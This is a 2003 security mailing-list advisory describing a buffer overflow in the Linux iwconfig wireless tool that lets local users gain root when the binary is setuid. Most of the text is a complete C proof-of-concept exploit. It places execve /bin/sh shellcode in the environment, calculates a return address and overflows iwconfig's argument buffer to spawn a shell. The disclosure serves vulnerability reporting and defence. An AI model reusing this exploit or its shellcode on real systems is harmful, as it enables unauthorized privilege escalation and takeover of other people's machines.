[EXPL] iwconfig Buffer Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 10/26/03

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Date: 26 Oct 2003 16:40:12 +0200

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      iwconfig Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html>
    iwconfig, a tool that allows you to configure a wireless network
    interface, contains an exploitable buffer overflow that allows local
    attackers to gain elevated privileges (if the iwconfig executable is
    setuid).

    DETAILS

    Exploit:
    /* PST_iwconfig
       /sbin/iwconfig proof of concept exploit
       coded by aXis@ph4nt0m.net
       Ph4nt0m Security Team
       http://www.ph4nt0m.net
       just for fun
    */

    #include<stdio.h>
    #include<string.h>
    #include<unistd.h>

    /* Copyright (c) Ramon de Carvalho Valle July 2003 */
    /* x86/linux shellcode */

    char shellcode[]= /* 24 bytes */
        "\x31\xc0" /* xorl %eax,%eax */
        "\x50" /* pushl %eax */
        "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
        "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
        "\x89\xe3" /* movl %esp,%ebx */
        "\x50" /* pushl %eax */
        "\x53" /* pushl %ebx */
        "\x89\xe1" /* movl %esp,%ecx */
        "\x99" /* cltd */
        "\xb0\x0b" /* movb $0x0b,%al */
        "\xcd\x80"; /* int $0x80 */

    int main(int argc,char **argv){
       char buf[96];
       unsigned long ret;
       int i;

       char *prog[]={"/sbin/iwconfig",buf,NULL};
       char *env[]={"HOME=/",shellcode,NULL};
       
       ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
       printf("use ret addr: 0x%x\n",ret);

       memset(buf,0x41,sizeof(buf));
       memcpy(&buf[92],&ret,4);
     
       execve(prog[0],prog,env);

      }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aXis@ph4nt0m.net> aXis.

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